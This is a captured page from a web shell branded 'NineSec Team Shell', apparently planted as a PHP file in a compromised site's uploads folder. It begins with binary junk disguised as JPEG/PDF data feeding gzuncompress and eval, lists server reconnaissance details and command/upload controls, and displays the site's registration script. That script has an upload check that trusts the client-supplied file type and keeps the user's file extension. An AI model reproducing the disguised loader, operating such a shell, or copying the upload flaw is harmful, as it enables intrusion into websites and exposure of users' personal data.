JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/register.php
<?php 
require_once 'config/database.php';

// Simple sanitization function
function cleanInput($data) {
    return htmlspecialchars(strip_tags(trim($data)));
}

// Email sending function
function sendWelcomeEmail($to, $first_name, $last_name) {
    $subject = "Welcome to Our Community - Princess Asie K Ocansey";
    
    // Create the email content with buttons
    $message = "
    <html>
    <head>
        <title>Welcome to Our Community</title>
        <style>
            body { font-family: Arial, sans-serif; line-height: 1.6; color: #333; }
            .container { max-width: 600px; margin: 0 auto; padding: 20px; }
            .header { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 30px; text-align: center; border-radius: 10px 10px 0 0; }
            .content { background: #f9f9f9; padding: 30px; }
            .footer { background: #333; color: white; padding: 20px; text-align: center; border-radius: 0 0 10px 10px; }
            .button { display: inline-block; padding: 12px 30px; margin: 10px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; text-decoration: none; border-radius: 5px; font-weight: bold; }
            .button:hover { background: linear-gradient(135deg, #764ba2 0%, #667eea 100%); }
            .quote { font-style: italic; color: #666; text-align: center; margin: 20px 0; padding: 15px; background: #fff; border-left: 4px solid #667eea; }
        </style>
    </head>
    <body>
        <div class='container'>
            <div class='header'>
                <h1>Welcome to Our Community</h1>
                <h2>Princess Asie K Ocansey</h2>
            </div>
            
            <div class='content'>
                <h3>Dear $first_name $last_name,</h3>
                
                <p>Princess Asie K Ocansey extends her warmest greetings and heartfelt welcome to you!</p>
                
                <p>It is with great joy and appreciation that we welcome you to our community. Princess Asie K Ocansey wishes 
                to express her sincere gratitude for your participation and trust in our mission. Your involvement signifies 
                a shared commitment to growth, unity, and positive change.</p>
                
                <p>Princess Asie K Ocansey, known for her dedication to humanitarian causes and community development, 
                is truly honored to have you join this journey. Your presence enriches our collective efforts and 
                strengthens our shared vision for a better tomorrow.</p>
                
                <div class='quote'>
                    \"Leadership is not about being in charge. It is about taking care of those in your charge.\"
                </div>
                
                <p>As a token of our appreciation, we invite you to take the next steps:</p>
                
                <div style='text-align: center; margin: 30px 0;'>
                    <a href='https://princess.uaeclick.com/login.php' class='button'>Login to Your Account</a>
                    <br>
                    <a href='https://princess.uaeclick.com/events.php' class='button'>View Upcoming Events</a>
                </div>
                
                <p>After logging in, you'll be able to:</p>
                <ul>
                    <li>Download your participation certificate</li>
                    <li>Update your profile information</li>
                    <li>Register for upcoming events and programs</li>
                    <li>Connect with other participants</li>
                    <li>Access exclusive resources</li>
                </ul>
                
                <p>We encourage you to apply for our upcoming events and continue your journey with us. Your active 
                participation is valued and will contribute significantly to our collective success.</p>
                
                <p>Once again, thank you for choosing to be part of this meaningful endeavor. Together, under the guidance of 
                Princess Asie K Ocansey, we can achieve remarkable things.</p>
            </div>
            
            <div class='footer'>
                <p>With warm regards,<br>
                <strong>Princess Asie K Ocansey</strong><br>
                and the Entire Team</p>
                
                <p>Contact us: princess@princess.uaeclick.com</p>
                <p>Website: https://princess.uaeclick.com</p>
            </div>
        </div>
    </body>
    </html>
    ";
    
    $headers = "MIME-Version: 1.0" . "\r\n";
    $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
    $headers .= "From: Princess Asie K Ocansey <princess@princess.uaeclick.com>" . "\r\n";
    $headers .= "Reply-To: princess@princess.uaeclick.com" . "\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();
    
    // Additional SMTP configuration for Hostinger
    ini_set("SMTP", "mail.hostinger.com");
    ini_set("smtp_port", "587");
    ini_set("sendmail_from", "princess@princess.uaeclick.com");
    
    return mail($to, $subject, $message, $headers);
}

$error = '';
$success = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $first_name = isset($_POST['first_name']) ? cleanInput($_POST['first_name']) : '';
    $last_name = isset($_POST['last_name']) ? cleanInput($_POST['last_name']) : '';
    $email = isset($_POST['email']) ? cleanInput($_POST['email']) : '';
    $password = isset($_POST['password']) ? $_POST['password'] : '';
    $confirm_password = isset($_POST['confirm_password']) ? $_POST['confirm_password'] : '';
    $phone = isset($_POST['phone']) ? cleanInput($_POST['phone']) : '';
    $religion = isset($_POST['religion']) ? cleanInput($_POST['religion']) : '';
    $country = isset($_POST['country']) ? cleanInput($_POST['country']) : '';
    
    // Profile picture handling
    $profile_picture = '';
    if (isset($_FILES['profile_picture']) && $_FILES['profile_picture']['error'] === UPLOAD_ERR_OK) {
        $upload_dir = 'participants/';
        if (!is_dir($upload_dir)) {
            mkdir($upload_dir, 0755, true);
        }
        
        $allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/jpg'];
        $file_type = $_FILES['profile_picture']['type'];
        $file_size = $_FILES['profile_picture']['size'];
        
        if (in_array($file_type, $allowed_types)) {
            if ($file_size < 5 * 1024 * 1024) { // 5MB limit
                $file_extension = pathinfo($_FILES['profile_picture']['name'], PATHINFO_EXTENSION);
                $filename = uniqid() . '_' . preg_replace('/[^a-zA-Z0-9]/', '_', $first_name . '_' . $last_name) . '.' . $file_extension;
                $target_path = $upload_dir . $filename;
                
                if (move_uploaded_file($_FILES['profile_picture']['tmp_name'], $target_path)) {
                    $profile_picture = $target_path;
                } else {
                    $error = 'Failed to upload profile picture.';
                }
            } else {
                $error = 'Profile picture size must be less than 5MB.';
            }
        } else {
            $error = 'Only JPG, JPEG, PNG, and GIF files are allowed for profile picture.';
        }
    }
    
    // Validation
    if (empty($error)) {
        if (empty($first_name) || empty($last_name) || empty($email) || empty($password)) {
            $error = 'Please fill in all required fields.';
        } elseif ($password !== $confirm_password) {
            $error = 'Passwords do not match.';
        } elseif (strlen($password) < 6) {
            $error = 'Password must be at least 6 characters long.';
        } else {
            // Check if email already exists
            $stmt = $pdo->prepare("SELECT id FROM users WHERE email = ?");
            $stmt->execute([$email]);
            
            if ($stmt->rowCount() > 0) {
                $error = 'Email already registered.';
            } else {
                // Insert new user
                $hashed_password = password_hash($password, PASSWORD_DEFAULT);
                $stmt = $pdo->prepare("INSERT INTO users (first_name, last_name, email, password, phone, religion, country, profile_picture) VALUES (?, ?, ?, ?, ?, ?, ?, ?)");
                
                if ($stmt->execute([$first_name, $last_name, $email, $hashed_password, $phone, $religion, $country, $profile_picture])) {
                    // Send welcome email
                    if (sendWelcomeEmail($email, $first_name, $last_name)) {
                        $success = 'Registration successful! A welcome email has been sent to your email address. You can now <a href="https://princess.uaeclick.com/login.php">login</a> and download your participation certificate.';
                    } else {
                        $success = 'Registration successful! (Email sending failed) You can now <a href="https://princess.uaeclick.com/login.php">login</a> and download your participation certificate.';
                    }
                } else {
                    $error = 'Registration failed. Please try again.';
                }
            }
        }
    }
}

include 'includes/header.php';
?>

<section class="section">
    <div class="container">
        <h2 class="section-title">Register as Participant</h2>
        
        <div class="card" style="max-width: 600px; margin: 0 auto;">
            <?php if ($error): ?>
                <div style="background-color: #ffebee; color: #c62828; padding: 10px; border-radius: 5px; margin-bottom: 20px;">
                    <?php echo $error; ?>
                </div>
            <?php endif; ?>
            
            <?php if ($success): ?>
                <div style="background-color: #e8f5e9; color: #2e7d32; padding: 10px; border-radius: 5px; margin-bottom: 20px;">
                    <?php echo $success; ?>
                </div>
            <?php endif; ?>
            
            <form method="POST" action="" enctype="multipart/form-data">
                <div class="form-row">
                    <div class="form-group">
                        <label for="first_name">First Name *</label>
                        <input type="text" id="first_name" name="first_name" required value="<?php echo isset($_POST['first_name']) ? htmlspecialchars($_POST['first_name']) : ''; ?>">
                    </div>
                    <div class="form-group">
                        <label for="last_name">Last Name *</label>
                        <input type="text" id="last_name" name="last_name" required value="<?php echo isset($_POST['last_name']) ? htmlspecialchars($_POST['last_name']) : ''; ?>">
                    </div>
                </div>
                
                <div class="form-group">
                    <label for="email">Email Address *</label>
                    <input type="email" id="email" name="email" required value="<?php echo isset($_POST['email']) ? htmlspecialchars($_POST['email']) : ''; ?>">
                </div>
                
                <div class="form-row">
                    <div class="form-group">
                        <label for="password">Password *</label>
                        <input type="password" id="password" name="password" required>
                    </div>
                    <div class="form-group">
                        <label for="confirm_password">Confirm Password *</label>
                        <input type="password" id="confirm_password" name="confirm_password" required>
                    </div>
                </div>
                
                <div class="form-group">
                    <label for="phone">Phone Number</label>
                    <input type="tel" id="phone" name="phone" value="<?php echo isset($_POST['phone']) ? htmlspecialchars($_POST['phone']) : ''; ?>">
                </div>
                
                <div class="form-group">
                    <label for="profile_picture">Profile Picture</label>
                    <input type="file" id="profile_picture" name="profile_picture" accept="image/*">
                    <small>Allowed formats: JPG, JPEG, PNG, GIF (Max: 5MB)</small>
                </div>
                
                <div class="form-group">
                    <label for="religion">Religious Affiliation *</label>
                    <select id="religion" name="religion" required>
                        <option value="">Select One</option>
                        <option value="Christian" <?php echo (isset($_POST['religion']) && $_POST['religion'] == 'Christian') ? 'selected' : ''; ?>>Christian</option>
                        <option value="Muslim" <?php echo (isset($_POST['religion']) && $_POST['religion'] == 'Muslim') ? 'selected' : ''; ?>>Muslim</option>
                        <option value="Other" <?php echo (isset($_POST['religion']) && $_POST['religion'] == 'Other') ? 'selected' : ''; ?>>Other</option>
                    </select>
                </div>
                
                <div class="mb-3">
                    <label for="city" class="form-label">City</label>
                    <input type="text" class="form-control" id="city" name="city" required 
                           value="<?php echo isset($_POST['city']) ? htmlspecialchars($_POST['city']) : ''; ?>">
                </div>

                <div class="form-group">
                    <label for="country">Country *</label>
                    <input type="text" id="country" name="country" required value="<?php echo isset($_POST['country']) ? htmlspecialchars($_POST['country']) : ''; ?>">
                </div>
                
                <button type="submit" class="btn btn-primary" style="width: 100%;">Register</button>
                
                <p style="text-align: center; margin-top: 20px;">
                    Already have an account? <a href="https://princess.uaeclick.com/login.php">Login here</a>
                </p>
                
                <p style="text-align: center; margin-top: 10px;">
                    <a href="https://princess.uaeclick.com/events.php" class="btn btn-secondary" style="display: inline-block; margin: 5px;">View Upcoming Events</a>
                </p>
                
                <p style="text-align: center; margin-top: 10px; font-size: 0.9em; color: #666;">
                    After registration, you can download your participation certificate from your account dashboard.
                </p>
            </form>
        </div>
    </div>
</section>

<?php include 'includes/footer.php'; ?>

NineSec Team - 2022